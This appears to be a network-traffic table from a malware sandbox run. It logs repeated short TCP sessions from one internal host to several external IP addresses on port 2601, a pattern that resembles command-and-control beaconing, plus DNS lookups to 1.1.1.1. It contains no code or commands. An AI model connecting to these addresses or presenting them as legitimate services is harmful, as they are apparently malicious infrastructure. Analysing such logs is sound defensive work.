Jan 7, 2025 01:24:16.469266891 CET	37584	2601	192.168.2.13	45.200.149.96
Jan 7, 2025 01:24:17.521625042 CET	55138	2601	192.168.2.13	23.94.242.130
Jan 7, 2025 01:24:17.526422024 CET	2601	55138	23.94.242.130	192.168.2.13
Jan 7, 2025 01:24:17.526487112 CET	55138	2601	192.168.2.13	23.94.242.130
Jan 7, 2025 01:24:17.527182102 CET	55138	2601	192.168.2.13	23.94.242.130
Jan 7, 2025 01:24:17.531929016 CET	2601	55138	23.94.242.130	192.168.2.13
Jan 7, 2025 01:24:17.532000065 CET	55138	2601	192.168.2.13	23.94.242.130
Jan 7, 2025 01:24:17.536786079 CET	2601	55138	23.94.242.130	192.168.2.13
Jan 7, 2025 01:24:18.183777094 CET	2601	55138	23.94.242.130	192.168.2.13
Jan 7, 2025 01:24:18.183882952 CET	55138	2601	192.168.2.13	23.94.242.130
Jan 7, 2025 01:24:18.183882952 CET	55138	2601	192.168.2.13	23.94.242.130
Jan 7, 2025 01:24:19.235322952 CET	50410	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:24:19.240231037 CET	2601	50410	104.168.33.8	192.168.2.13
Jan 7, 2025 01:24:19.240292072 CET	50410	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:24:19.240991116 CET	50410	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:24:19.245810986 CET	2601	50410	104.168.33.8	192.168.2.13
Jan 7, 2025 01:24:19.245853901 CET	50410	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:24:19.250720024 CET	2601	50410	104.168.33.8	192.168.2.13
Jan 7, 2025 01:24:19.777627945 CET	2601	50410	104.168.33.8	192.168.2.13
Jan 7, 2025 01:24:19.777678013 CET	50410	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:24:19.777704954 CET	50410	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:24:20.835211039 CET	45562	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:24:20.840102911 CET	2601	45562	45.200.149.95	192.168.2.13
Jan 7, 2025 01:24:20.840147018 CET	45562	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:24:20.840811014 CET	45562	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:24:20.845666885 CET	2601	45562	45.200.149.95	192.168.2.13
Jan 7, 2025 01:24:20.845710039 CET	45562	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:24:20.850548029 CET	2601	45562	45.200.149.95	192.168.2.13
Jan 7, 2025 01:24:21.699738026 CET	2601	45562	45.200.149.95	192.168.2.13
Jan 7, 2025 01:24:21.699789047 CET	45562	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:24:21.699819088 CET	45562	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:24:22.751048088 CET	40172	2601	192.168.2.13	45.200.149.249
Jan 7, 2025 01:24:22.755897045 CET	2601	40172	45.200.149.249	192.168.2.13
Jan 7, 2025 01:24:22.755948067 CET	40172	2601	192.168.2.13	45.200.149.249
Jan 7, 2025 01:24:22.756643057 CET	40172	2601	192.168.2.13	45.200.149.249
Jan 7, 2025 01:24:22.761461020 CET	2601	40172	45.200.149.249	192.168.2.13
Jan 7, 2025 01:24:22.761504889 CET	40172	2601	192.168.2.13	45.200.149.249
Jan 7, 2025 01:24:22.766365051 CET	2601	40172	45.200.149.249	192.168.2.13
Jan 7, 2025 01:24:24.643091917 CET	2601	40172	45.200.149.249	192.168.2.13
Jan 7, 2025 01:24:24.643179893 CET	40172	2601	192.168.2.13	45.200.149.249
Jan 7, 2025 01:24:24.643230915 CET	40172	2601	192.168.2.13	45.200.149.249
Jan 7, 2025 01:24:25.695261002 CET	40174	2601	192.168.2.13	45.200.149.249
Jan 7, 2025 01:24:25.700037956 CET	2601	40174	45.200.149.249	192.168.2.13
Jan 7, 2025 01:24:25.700112104 CET	40174	2601	192.168.2.13	45.200.149.249
Jan 7, 2025 01:24:25.701108932 CET	40174	2601	192.168.2.13	45.200.149.249
Jan 7, 2025 01:24:25.705890894 CET	2601	40174	45.200.149.249	192.168.2.13
Jan 7, 2025 01:24:25.705948114 CET	40174	2601	192.168.2.13	45.200.149.249
Jan 7, 2025 01:24:25.710692883 CET	2601	40174	45.200.149.249	192.168.2.13
Jan 7, 2025 01:24:26.585792065 CET	2601	40174	45.200.149.249	192.168.2.13
Jan 7, 2025 01:24:26.585865974 CET	40174	2601	192.168.2.13	45.200.149.249
Jan 7, 2025 01:24:26.585926056 CET	40174	2601	192.168.2.13	45.200.149.249
Jan 7, 2025 01:24:27.637300014 CET	55148	2601	192.168.2.13	23.94.242.130
Jan 7, 2025 01:24:27.642201900 CET	2601	55148	23.94.242.130	192.168.2.13
Jan 7, 2025 01:24:27.642268896 CET	55148	2601	192.168.2.13	23.94.242.130
Jan 7, 2025 01:24:27.642959118 CET	55148	2601	192.168.2.13	23.94.242.130
Jan 7, 2025 01:24:27.647768974 CET	2601	55148	23.94.242.130	192.168.2.13
Jan 7, 2025 01:24:27.647823095 CET	55148	2601	192.168.2.13	23.94.242.130
Jan 7, 2025 01:24:27.652637005 CET	2601	55148	23.94.242.130	192.168.2.13
Jan 7, 2025 01:24:28.306032896 CET	2601	55148	23.94.242.130	192.168.2.13
Jan 7, 2025 01:24:28.306149960 CET	55148	2601	192.168.2.13	23.94.242.130
Jan 7, 2025 01:24:28.306209087 CET	55148	2601	192.168.2.13	23.94.242.130
Jan 7, 2025 01:24:29.193402052 CET	48202	443	192.168.2.13	185.125.190.26
Jan 7, 2025 01:24:29.357162952 CET	50420	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:24:29.362051010 CET	2601	50420	104.168.33.8	192.168.2.13
Jan 7, 2025 01:24:29.362104893 CET	50420	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:24:29.362989902 CET	50420	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:24:29.367799044 CET	2601	50420	104.168.33.8	192.168.2.13
Jan 7, 2025 01:24:29.367846966 CET	50420	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:24:29.372633934 CET	2601	50420	104.168.33.8	192.168.2.13
Jan 7, 2025 01:24:29.938282967 CET	2601	50420	104.168.33.8	192.168.2.13
Jan 7, 2025 01:24:29.938365936 CET	50420	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:24:29.938436985 CET	50420	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:24:30.996411085 CET	50422	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:24:31.001461029 CET	2601	50422	104.168.33.8	192.168.2.13
Jan 7, 2025 01:24:31.001523018 CET	50422	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:24:31.002402067 CET	50422	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:24:31.007230997 CET	2601	50422	104.168.33.8	192.168.2.13
Jan 7, 2025 01:24:31.007282019 CET	50422	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:24:31.012073040 CET	2601	50422	104.168.33.8	192.168.2.13
Jan 7, 2025 01:24:31.525041103 CET	2601	50422	104.168.33.8	192.168.2.13
Jan 7, 2025 01:24:31.525149107 CET	50422	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:24:31.525186062 CET	50422	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:24:32.573961973 CET	40182	2601	192.168.2.13	45.200.149.249
Jan 7, 2025 01:24:32.578800917 CET	2601	40182	45.200.149.249	192.168.2.13
Jan 7, 2025 01:24:32.578852892 CET	40182	2601	192.168.2.13	45.200.149.249
Jan 7, 2025 01:24:32.579782009 CET	40182	2601	192.168.2.13	45.200.149.249
Jan 7, 2025 01:24:32.584522009 CET	2601	40182	45.200.149.249	192.168.2.13
Jan 7, 2025 01:24:32.584578991 CET	40182	2601	192.168.2.13	45.200.149.249
Jan 7, 2025 01:24:32.589402914 CET	2601	40182	45.200.149.249	192.168.2.13
Jan 7, 2025 01:24:33.435987949 CET	2601	40182	45.200.149.249	192.168.2.13
Jan 7, 2025 01:24:33.436058998 CET	40182	2601	192.168.2.13	45.200.149.249
Jan 7, 2025 01:24:33.436110973 CET	40182	2601	192.168.2.13	45.200.149.249
Jan 7, 2025 01:24:34.494724989 CET	45576	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:24:34.499596119 CET	2601	45576	45.200.149.95	192.168.2.13
Jan 7, 2025 01:24:34.499695063 CET	45576	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:24:34.500956059 CET	45576	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:24:34.505723953 CET	2601	45576	45.200.149.95	192.168.2.13
Jan 7, 2025 01:24:34.505789995 CET	45576	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:24:34.510622978 CET	2601	45576	45.200.149.95	192.168.2.13
Jan 7, 2025 01:24:35.347754955 CET	2601	45576	45.200.149.95	192.168.2.13
Jan 7, 2025 01:24:35.347826958 CET	45576	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:24:35.347861052 CET	45576	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:24:36.400199890 CET	45578	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:24:36.413053989 CET	2601	45578	45.200.149.95	192.168.2.13
Jan 7, 2025 01:24:36.413116932 CET	45578	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:24:36.413763046 CET	45578	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:24:36.418596983 CET	2601	45578	45.200.149.95	192.168.2.13
Jan 7, 2025 01:24:36.418643951 CET	45578	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:24:36.423500061 CET	2601	45578	45.200.149.95	192.168.2.13
Jan 7, 2025 01:24:38.331168890 CET	2601	45578	45.200.149.95	192.168.2.13
Jan 7, 2025 01:24:38.331227064 CET	45578	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:24:38.331260920 CET	45578	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:24:39.381134987 CET	37608	2601	192.168.2.13	45.200.149.96
Jan 7, 2025 01:24:39.385999918 CET	2601	37608	45.200.149.96	192.168.2.13
Jan 7, 2025 01:24:39.386080980 CET	37608	2601	192.168.2.13	45.200.149.96
Jan 7, 2025 01:24:39.387161970 CET	37608	2601	192.168.2.13	45.200.149.96
Jan 7, 2025 01:24:39.392030001 CET	2601	37608	45.200.149.96	192.168.2.13
Jan 7, 2025 01:24:39.392079115 CET	37608	2601	192.168.2.13	45.200.149.96
Jan 7, 2025 01:24:39.396931887 CET	2601	37608	45.200.149.96	192.168.2.13
Jan 7, 2025 01:24:40.244215965 CET	2601	37608	45.200.149.96	192.168.2.13
Jan 7, 2025 01:24:40.244324923 CET	37608	2601	192.168.2.13	45.200.149.96
Jan 7, 2025 01:24:40.244324923 CET	37608	2601	192.168.2.13	45.200.149.96
Jan 7, 2025 01:24:41.292712927 CET	50432	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:24:41.297538996 CET	2601	50432	104.168.33.8	192.168.2.13
Jan 7, 2025 01:24:41.297637939 CET	50432	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:24:41.298247099 CET	50432	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:24:41.302957058 CET	2601	50432	104.168.33.8	192.168.2.13
Jan 7, 2025 01:24:41.303015947 CET	50432	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:24:41.307751894 CET	2601	50432	104.168.33.8	192.168.2.13
Jan 7, 2025 01:24:41.849864960 CET	2601	50432	104.168.33.8	192.168.2.13
Jan 7, 2025 01:24:41.850014925 CET	50432	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:24:41.850064039 CET	50432	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:24:42.902842999 CET	50434	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:24:42.907737017 CET	2601	50434	104.168.33.8	192.168.2.13
Jan 7, 2025 01:24:42.907783031 CET	50434	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:24:42.908373117 CET	50434	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:24:42.913120031 CET	2601	50434	104.168.33.8	192.168.2.13
Jan 7, 2025 01:24:42.913160086 CET	50434	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:24:42.917929888 CET	2601	50434	104.168.33.8	192.168.2.13
Jan 7, 2025 01:24:44.476371050 CET	2601	50434	104.168.33.8	192.168.2.13
Jan 7, 2025 01:24:44.476468086 CET	50434	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:24:44.476576090 CET	50434	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:24:45.530293941 CET	59574	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:24:45.535119057 CET	2601	59574	45.200.149.167	192.168.2.13
Jan 7, 2025 01:24:45.535165071 CET	59574	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:24:45.535900116 CET	59574	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:24:45.540615082 CET	2601	59574	45.200.149.167	192.168.2.13
Jan 7, 2025 01:24:45.540662050 CET	59574	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:24:45.545417070 CET	2601	59574	45.200.149.167	192.168.2.13
Jan 7, 2025 01:24:46.371592045 CET	2601	59574	45.200.149.167	192.168.2.13
Jan 7, 2025 01:24:46.371685982 CET	59574	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:24:46.371788979 CET	59574	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:24:47.421822071 CET	53102	2601	192.168.2.13	23.94.37.42
Jan 7, 2025 01:24:47.426655054 CET	2601	53102	23.94.37.42	192.168.2.13
Jan 7, 2025 01:24:47.426743984 CET	53102	2601	192.168.2.13	23.94.37.42
Jan 7, 2025 01:24:47.427648067 CET	53102	2601	192.168.2.13	23.94.37.42
Jan 7, 2025 01:24:47.432370901 CET	2601	53102	23.94.37.42	192.168.2.13
Jan 7, 2025 01:24:47.432416916 CET	53102	2601	192.168.2.13	23.94.37.42
Jan 7, 2025 01:24:47.437232971 CET	2601	53102	23.94.37.42	192.168.2.13
Jan 7, 2025 01:24:47.963395119 CET	2601	53102	23.94.37.42	192.168.2.13
Jan 7, 2025 01:24:47.963485956 CET	53102	2601	192.168.2.13	23.94.37.42
Jan 7, 2025 01:24:47.963568926 CET	53102	2601	192.168.2.13	23.94.37.42
Jan 7, 2025 01:24:49.021924973 CET	40198	2601	192.168.2.13	45.200.149.249
Jan 7, 2025 01:24:49.026801109 CET	2601	40198	45.200.149.249	192.168.2.13
Jan 7, 2025 01:24:49.026892900 CET	40198	2601	192.168.2.13	45.200.149.249
Jan 7, 2025 01:24:49.027822018 CET	40198	2601	192.168.2.13	45.200.149.249
Jan 7, 2025 01:24:49.032644987 CET	2601	40198	45.200.149.249	192.168.2.13
Jan 7, 2025 01:24:49.032706022 CET	40198	2601	192.168.2.13	45.200.149.249
Jan 7, 2025 01:24:49.037444115 CET	2601	40198	45.200.149.249	192.168.2.13
Jan 7, 2025 01:24:49.876140118 CET	2601	40198	45.200.149.249	192.168.2.13
Jan 7, 2025 01:24:49.876250029 CET	40198	2601	192.168.2.13	45.200.149.249
Jan 7, 2025 01:24:49.876286983 CET	40198	2601	192.168.2.13	45.200.149.249
Jan 7, 2025 01:24:50.927295923 CET	59580	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:24:50.932828903 CET	2601	59580	45.200.149.167	192.168.2.13
Jan 7, 2025 01:24:50.932897091 CET	59580	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:24:50.933844090 CET	59580	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:24:50.939265966 CET	2601	59580	45.200.149.167	192.168.2.13
Jan 7, 2025 01:24:50.939330101 CET	59580	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:24:50.944895029 CET	2601	59580	45.200.149.167	192.168.2.13
Jan 7, 2025 01:24:51.805145979 CET	2601	59580	45.200.149.167	192.168.2.13
Jan 7, 2025 01:24:51.805200100 CET	59580	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:24:51.805264950 CET	59580	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:24:52.855545998 CET	53108	2601	192.168.2.13	23.94.37.42
Jan 7, 2025 01:24:52.860301971 CET	2601	53108	23.94.37.42	192.168.2.13
Jan 7, 2025 01:24:52.860388041 CET	53108	2601	192.168.2.13	23.94.37.42
Jan 7, 2025 01:24:52.861458063 CET	53108	2601	192.168.2.13	23.94.37.42
Jan 7, 2025 01:24:52.866175890 CET	2601	53108	23.94.37.42	192.168.2.13
Jan 7, 2025 01:24:52.866238117 CET	53108	2601	192.168.2.13	23.94.37.42
Jan 7, 2025 01:24:52.870992899 CET	2601	53108	23.94.37.42	192.168.2.13
Jan 7, 2025 01:24:53.400474072 CET	2601	53108	23.94.37.42	192.168.2.13
Jan 7, 2025 01:24:53.400554895 CET	53108	2601	192.168.2.13	23.94.37.42
Jan 7, 2025 01:24:53.400631905 CET	53108	2601	192.168.2.13	23.94.37.42
Jan 7, 2025 01:24:54.461739063 CET	55176	2601	192.168.2.13	23.94.242.130
Jan 7, 2025 01:24:54.466609955 CET	2601	55176	23.94.242.130	192.168.2.13
Jan 7, 2025 01:24:54.466660023 CET	55176	2601	192.168.2.13	23.94.242.130
Jan 7, 2025 01:24:54.467379093 CET	55176	2601	192.168.2.13	23.94.242.130
Jan 7, 2025 01:24:54.472142935 CET	2601	55176	23.94.242.130	192.168.2.13
Jan 7, 2025 01:24:54.472186089 CET	55176	2601	192.168.2.13	23.94.242.130
Jan 7, 2025 01:24:54.477051020 CET	2601	55176	23.94.242.130	192.168.2.13
Jan 7, 2025 01:24:55.147438049 CET	2601	55176	23.94.242.130	192.168.2.13
Jan 7, 2025 01:24:55.147527933 CET	55176	2601	192.168.2.13	23.94.242.130
Jan 7, 2025 01:24:55.147604942 CET	55176	2601	192.168.2.13	23.94.242.130
Jan 7, 2025 01:24:56.199301004 CET	37626	2601	192.168.2.13	45.200.149.96
Jan 7, 2025 01:24:56.204060078 CET	2601	37626	45.200.149.96	192.168.2.13
Jan 7, 2025 01:24:56.204133987 CET	37626	2601	192.168.2.13	45.200.149.96
Jan 7, 2025 01:24:56.204852104 CET	37626	2601	192.168.2.13	45.200.149.96
Jan 7, 2025 01:24:56.209620953 CET	2601	37626	45.200.149.96	192.168.2.13
Jan 7, 2025 01:24:56.209680080 CET	37626	2601	192.168.2.13	45.200.149.96
Jan 7, 2025 01:24:56.214448929 CET	2601	37626	45.200.149.96	192.168.2.13
Jan 7, 2025 01:24:57.064223051 CET	2601	37626	45.200.149.96	192.168.2.13
Jan 7, 2025 01:24:57.064378977 CET	37626	2601	192.168.2.13	45.200.149.96
Jan 7, 2025 01:24:57.064378977 CET	37626	2601	192.168.2.13	45.200.149.96
Jan 7, 2025 01:24:58.118350983 CET	37628	2601	192.168.2.13	45.200.149.96
Jan 7, 2025 01:24:58.123199940 CET	2601	37628	45.200.149.96	192.168.2.13
Jan 7, 2025 01:24:58.123281002 CET	37628	2601	192.168.2.13	45.200.149.96
Jan 7, 2025 01:24:58.124274969 CET	37628	2601	192.168.2.13	45.200.149.96
Jan 7, 2025 01:24:58.129029036 CET	2601	37628	45.200.149.96	192.168.2.13
Jan 7, 2025 01:24:58.129091024 CET	37628	2601	192.168.2.13	45.200.149.96
Jan 7, 2025 01:24:58.133816004 CET	2601	37628	45.200.149.96	192.168.2.13
Jan 7, 2025 01:24:58.977076054 CET	2601	37628	45.200.149.96	192.168.2.13
Jan 7, 2025 01:24:58.977153063 CET	37628	2601	192.168.2.13	45.200.149.96
Jan 7, 2025 01:24:58.977236032 CET	37628	2601	192.168.2.13	45.200.149.96
Jan 7, 2025 01:25:00.028951883 CET	40210	2601	192.168.2.13	45.200.149.249
Jan 7, 2025 01:25:00.033838987 CET	2601	40210	45.200.149.249	192.168.2.13
Jan 7, 2025 01:25:00.033909082 CET	40210	2601	192.168.2.13	45.200.149.249
Jan 7, 2025 01:25:00.034940004 CET	40210	2601	192.168.2.13	45.200.149.249
Jan 7, 2025 01:25:00.039768934 CET	2601	40210	45.200.149.249	192.168.2.13
Jan 7, 2025 01:25:00.039819956 CET	40210	2601	192.168.2.13	45.200.149.249
Jan 7, 2025 01:25:00.044615030 CET	2601	40210	45.200.149.249	192.168.2.13
Jan 7, 2025 01:25:00.905284882 CET	2601	40210	45.200.149.249	192.168.2.13
Jan 7, 2025 01:25:00.905361891 CET	40210	2601	192.168.2.13	45.200.149.249
Jan 7, 2025 01:25:00.905590057 CET	40210	2601	192.168.2.13	45.200.149.249
Jan 7, 2025 01:25:01.959937096 CET	40212	2601	192.168.2.13	45.200.149.249
Jan 7, 2025 01:25:01.964806080 CET	2601	40212	45.200.149.249	192.168.2.13
Jan 7, 2025 01:25:01.964880943 CET	40212	2601	192.168.2.13	45.200.149.249
Jan 7, 2025 01:25:01.965926886 CET	40212	2601	192.168.2.13	45.200.149.249
Jan 7, 2025 01:25:01.970760107 CET	2601	40212	45.200.149.249	192.168.2.13
Jan 7, 2025 01:25:01.970864058 CET	40212	2601	192.168.2.13	45.200.149.249
Jan 7, 2025 01:25:01.975718975 CET	2601	40212	45.200.149.249	192.168.2.13
Jan 7, 2025 01:25:02.805052996 CET	2601	40212	45.200.149.249	192.168.2.13
Jan 7, 2025 01:25:02.805162907 CET	40212	2601	192.168.2.13	45.200.149.249
Jan 7, 2025 01:25:02.805233955 CET	40212	2601	192.168.2.13	45.200.149.249
Jan 7, 2025 01:25:03.858094931 CET	59594	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:25:03.862963915 CET	2601	59594	45.200.149.167	192.168.2.13
Jan 7, 2025 01:25:03.863054037 CET	59594	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:25:03.863976002 CET	59594	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:25:03.868725061 CET	2601	59594	45.200.149.167	192.168.2.13
Jan 7, 2025 01:25:03.868796110 CET	59594	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:25:03.873569012 CET	2601	59594	45.200.149.167	192.168.2.13
Jan 7, 2025 01:25:05.410268068 CET	2601	59594	45.200.149.167	192.168.2.13
Jan 7, 2025 01:25:05.410362959 CET	2601	59594	45.200.149.167	192.168.2.13
Jan 7, 2025 01:25:05.410372019 CET	2601	59594	45.200.149.167	192.168.2.13
Jan 7, 2025 01:25:05.410387993 CET	2601	59594	45.200.149.167	192.168.2.13
Jan 7, 2025 01:25:05.410386086 CET	59594	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:25:05.410434008 CET	59594	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:25:05.410434008 CET	59594	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:25:05.410434008 CET	59594	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:25:05.410509109 CET	59594	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:25:06.462754011 CET	59596	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:25:06.467602015 CET	2601	59596	45.200.149.167	192.168.2.13
Jan 7, 2025 01:25:06.467664957 CET	59596	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:25:06.468316078 CET	59596	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:25:06.473148108 CET	2601	59596	45.200.149.167	192.168.2.13
Jan 7, 2025 01:25:06.473190069 CET	59596	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:25:06.478358984 CET	2601	59596	45.200.149.167	192.168.2.13
Jan 7, 2025 01:25:07.322282076 CET	2601	59596	45.200.149.167	192.168.2.13
Jan 7, 2025 01:25:07.322375059 CET	59596	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:25:07.322375059 CET	59596	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:25:08.372992039 CET	55190	2601	192.168.2.13	23.94.242.130
Jan 7, 2025 01:25:08.377866983 CET	2601	55190	23.94.242.130	192.168.2.13
Jan 7, 2025 01:25:08.377980947 CET	55190	2601	192.168.2.13	23.94.242.130
Jan 7, 2025 01:25:08.379548073 CET	55190	2601	192.168.2.13	23.94.242.130
Jan 7, 2025 01:25:08.384376049 CET	2601	55190	23.94.242.130	192.168.2.13
Jan 7, 2025 01:25:08.384443998 CET	55190	2601	192.168.2.13	23.94.242.130
Jan 7, 2025 01:25:08.389265060 CET	2601	55190	23.94.242.130	192.168.2.13
Jan 7, 2025 01:25:09.079237938 CET	2601	55190	23.94.242.130	192.168.2.13
Jan 7, 2025 01:25:09.079303980 CET	55190	2601	192.168.2.13	23.94.242.130
Jan 7, 2025 01:25:09.079341888 CET	55190	2601	192.168.2.13	23.94.242.130
Jan 7, 2025 01:25:10.127867937 CET	45612	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:25:10.132613897 CET	2601	45612	45.200.149.95	192.168.2.13
Jan 7, 2025 01:25:10.132693052 CET	45612	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:25:10.133295059 CET	45612	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:25:10.138041973 CET	2601	45612	45.200.149.95	192.168.2.13
Jan 7, 2025 01:25:10.138108969 CET	45612	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:25:10.142843008 CET	2601	45612	45.200.149.95	192.168.2.13
Jan 7, 2025 01:25:10.998558998 CET	2601	45612	45.200.149.95	192.168.2.13
Jan 7, 2025 01:25:10.998641968 CET	45612	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:25:10.998873949 CET	45612	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:25:12.050587893 CET	53128	2601	192.168.2.13	23.94.37.42
Jan 7, 2025 01:25:12.055468082 CET	2601	53128	23.94.37.42	192.168.2.13
Jan 7, 2025 01:25:12.055607080 CET	53128	2601	192.168.2.13	23.94.37.42
Jan 7, 2025 01:25:12.056615114 CET	53128	2601	192.168.2.13	23.94.37.42
Jan 7, 2025 01:25:12.061415911 CET	2601	53128	23.94.37.42	192.168.2.13
Jan 7, 2025 01:25:12.061464071 CET	53128	2601	192.168.2.13	23.94.37.42
Jan 7, 2025 01:25:12.066267014 CET	2601	53128	23.94.37.42	192.168.2.13
Jan 7, 2025 01:25:22.066937923 CET	53128	2601	192.168.2.13	23.94.37.42
Jan 7, 2025 01:25:22.073357105 CET	2601	53128	23.94.37.42	192.168.2.13
Jan 7, 2025 01:25:22.215574980 CET	2601	53128	23.94.37.42	192.168.2.13
Jan 7, 2025 01:25:22.215651035 CET	53128	2601	192.168.2.13	23.94.37.42

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 7, 2025 01:23:46.365166903 CET	38648	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:23:46.373274088 CET	53	38648	1.1.1.1	192.168.2.13
Jan 7, 2025 01:23:46.377048016 CET	35711	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:23:46.391876936 CET	53	35711	1.1.1.1	192.168.2.13
Jan 7, 2025 01:23:46.394948959 CET	33577	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:23:46.413635015 CET	53	33577	1.1.1.1	192.168.2.13
Jan 7, 2025 01:23:46.417274952 CET	33527	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:23:46.432199001 CET	53	33527	1.1.1.1	192.168.2.13
Jan 7, 2025 01:23:46.448352098 CET	57288	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:23:46.457272053 CET	53	57288	1.1.1.1	192.168.2.13
Jan 7, 2025 01:23:46.460367918 CET	45738	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:23:46.470504999 CET	53	45738	1.1.1.1	192.168.2.13
Jan 7, 2025 01:23:48.591103077 CET	58336	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:23:48.599716902 CET	53	58336	1.1.1.1	192.168.2.13
Jan 7, 2025 01:23:48.601346970 CET	53145	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:23:48.689709902 CET	53	53145	1.1.1.1	192.168.2.13
Jan 7, 2025 01:23:48.691271067 CET	48660	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:23:48.700082064 CET	53	48660	1.1.1.1	192.168.2.13
Jan 7, 2025 01:23:48.701996088 CET	48574	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:23:48.709197044 CET	53	48574	1.1.1.1	192.168.2.13
Jan 7, 2025 01:23:48.710952997 CET	47576	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:23:48.719995022 CET	53	47576	1.1.1.1	192.168.2.13
Jan 7, 2025 01:23:48.721807957 CET	42369	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:23:48.740366936 CET	53	42369	1.1.1.1	192.168.2.13
Jan 7, 2025 01:23:50.593019962 CET	37090	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:23:50.601294994 CET	53	37090	1.1.1.1	192.168.2.13
Jan 7, 2025 01:23:50.602974892 CET	56111	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:23:50.617541075 CET	53	56111	1.1.1.1	192.168.2.13
Jan 7, 2025 01:23:50.619306087 CET	47256	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:23:50.632966042 CET	53	47256	1.1.1.1	192.168.2.13
Jan 7, 2025 01:23:50.634723902 CET	56930	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:23:50.643381119 CET	53	56930	1.1.1.1	192.168.2.13
Jan 7, 2025 01:23:50.644439936 CET	57619	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:23:50.659105062 CET	53	57619	1.1.1.1	192.168.2.13
